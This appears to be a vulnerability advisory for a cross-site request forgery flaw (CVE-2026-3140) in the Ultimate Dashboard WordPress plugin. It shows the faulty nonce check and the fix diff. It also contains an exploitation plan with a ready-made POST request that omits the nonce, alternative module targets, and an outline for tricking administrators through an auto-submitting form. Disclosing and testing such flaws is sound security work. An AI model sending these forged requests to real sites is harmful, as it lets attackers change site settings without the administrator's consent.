Ultimate Dashboard <= 3.8.14 - Cross-Site Request Forgery to Module Activation/Deactivation
Description
The Ultimate Dashboard plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.14. This is due to a flawed nonce validation conditional in the 'handle_module_actions' function. This makes it possible for unauthenticated attackers to toggle plugin modules on or off via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=3.8.14What Changed in the Fix
Changes introduced in v3.8.15
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3140 (Ultimate Dashboard CSRF) ## 1. Vulnerability Summary The **Ultimate Dashboard** plugin (<= 3.8.14) is vulnerable to **Cross-Site Request Forgery (CSRF)** due to a logic error in the nonce validation within the `handle_module_actions` function. The code i…
Show full research plan
Exploitation Research Plan: CVE-2026-3140 (Ultimate Dashboard CSRF)
1. Vulnerability Summary
The Ultimate Dashboard plugin (<= 3.8.14) is vulnerable to Cross-Site Request Forgery (CSRF) due to a logic error in the nonce validation within the handle_module_actions function. The code incorrectly allows requests to proceed if the nonce parameter is completely omitted. This allows an attacker to trick an authenticated administrator into activating or deactivating core plugin modules (like White Labeling or the Admin Menu Editor), potentially disrupting site administration or disabling security-related features.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
udb_handle_module_actions - Vulnerable Function:
Udb\Feature\Feature_Module::handle_module_actions - HTTP Method:
POST - Authentication Required: Yes (must be triggered by a user with
manage_optionscapability via CSRF). - Payload Parameter:
name(module slug) andstatus(true/false). - Vulnerability Type: CSRF via Nonce Bypass (Conditional Logic Flaw).
3. Code Flow
- The plugin registers the AJAX action in
modules/feature/class-feature-module.php:add_action( 'wp_ajax_udb_handle_module_actions', array( self::get_instance(), 'handle_module_actions' ) ); - When a request is sent to
admin-ajax.phpwithaction=udb_handle_module_actions, thehandle_module_actionsfunction is invoked. - The function performs a check to validate the nonce:
public function handle_module_actions() { if ( empty( $_POST ) || ( ! empty( $_POST['nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'udb_module_nonce_action' ) ) ) { wp_send_json_error( __( 'Invalid nonce', 'ultimate-dashboard' ) ); } // ... - Logic Flaw: The conditional
( ! empty( $_POST['nonce'] ) && ! wp_verify_nonce(...) )evaluates tofalseif$_POST['nonce']is missing.- If
nonceis provided and wrong:(true && true)-> Error. - If
nonceis missing:(false && ...)-> Condition fails, the block is skipped, and the code proceeds.
- If
- The function then checks for the user's capability (
manage_options). - Finally, it updates the
udb_modulesoption:$saved_modules[ $name ] = $status; update_option( 'udb_modules', $saved_modules );
4. Nonce Acquisition Strategy
No nonce is required for exploitation.
The vulnerability exists specifically because the nonce check is bypassed when the nonce parameter is absent from the $_POST array.
5. Exploitation Strategy
To demonstrate the CSRF, we will perform a request that disables a visible module (e.g., white_label) while authenticated as an administrator.
Step-by-Step Plan:
- Preparation: Ensure the administrator is logged in.
- Payload Injection: Issue a
POSTrequest toadmin-ajax.phpwithout anonceparameter. - Target Module:
white_label. - Target Status:
false(to deactivate).
HTTP Request (via http_request tool):
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "action=udb_handle_module_actions&name=white_label&status=false"
}
6. Test Data Setup
- Plugin State: Ensure
Ultimate Dashboardversion <= 3.8.14 is installed and active. - Initial Configuration: By default, modules are enabled. We can verify this by checking the database option
udb_modules. - Administrator Session: The
http_requestmust include valid admin cookies to simulate a CSRF attack success.
7. Expected Results
- The server should respond with:
{"success":true,"data":{"message":"Saved"}}. - If the exploit fails due to a fixed version, it would respond with an error related to "Invalid nonce" (though in this specific logic bug, the fixed version likely changed the
||logic).
8. Verification Steps
After sending the HTTP request, verify the module status using wp-cli:
# Check the value of the udb_modules option
wp option get udb_modules --format=json
Success Condition: The JSON output should show "white_label":"false".
9. Alternative Approaches
If the white_label module is already disabled, target a different module identifier found in class-setup.php:
login_customizerlogin_redirectadmin_pagesadmin_menu_editoradmin_bar_editor
Example for admin_menu_editor:action=udb_handle_module_actions&name=admin_menu_editor&status=false
Summary
The Ultimate Dashboard plugin for WordPress (<= 3.8.14) is vulnerable to Cross-Site Request Forgery (CSRF) because the module activation handler contains a flawed nonce check that is bypassed when the nonce parameter is missing. This allows an attacker to trick a site administrator into activating or deactivating core plugin modules, such as White Labeling or the Admin Menu Editor, by clicking on a malicious link.
Vulnerable Code
// modules/feature/class-feature-module.php line 117 public function handle_module_actions() { if ( empty( $_POST ) || ( ! empty( $_POST['nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'udb_module_nonce_action' ) ) ) { wp_send_json_error( __( 'Invalid nonce', 'ultimate-dashboard' ) ); } --- // class-setup.php line 452 public function dismiss_review_notice() { if ( empty( $_POST['dismiss'] ) ) { wp_send_json_error( 'Invalid Request' ); } update_option( 'review_notice_dismissed', 1 ); wp_send_json_success( 'Review notice has been dismissed.' ); }
Security Fix
@@ -452,12 +460,18 @@ public function dismiss_review_notice() { + $nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : ''; + + if ( ! wp_verify_nonce( $nonce, 'udb_dismiss_notice' ) ) { + wp_send_json_error( __( 'Invalid token', 'ultimate-dashboard' ) ); + } + if ( empty( $_POST['dismiss'] ) ) { - wp_send_json_error( 'Invalid Request' ); + wp_send_json_error( __( 'Invalid request', 'ultimate-dashboard' ) ); } @@ -117,8 +117,10 @@ */ public function handle_module_actions() { - if ( empty( $_POST ) || ( ! empty( $_POST['nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'udb_module_nonce_action' ) ) ) { - wp_send_json_error( __( 'Invalid nonce', 'ultimate-dashboard' ) ); + $nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : ''; + + if ( ! wp_verify_nonce( $nonce, 'udb_module_nonce_action' ) ) { + wp_send_json_error( __( 'Invalid token', 'ultimate-dashboard' ) ); }
Exploit Outline
1. Identify the target module to toggle (e.g., 'white_label' or 'admin_menu_editor'). 2. Construct a CSRF payload targeting the WordPress AJAX endpoint '/wp-admin/admin-ajax.php'. 3. Format the POST request with the following parameters: 'action=udb_handle_module_actions', 'name=[module_slug]', and 'status=[true/false]'. 4. Crucially, omit the 'nonce' parameter entirely from the POST body to exploit the logic flaw in handle_module_actions() that skips verification when the nonce is absent. 5. Trick an authenticated administrator with 'manage_options' capabilities into visiting a malicious site or clicking a link that triggers this background request via an auto-submitting form or script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.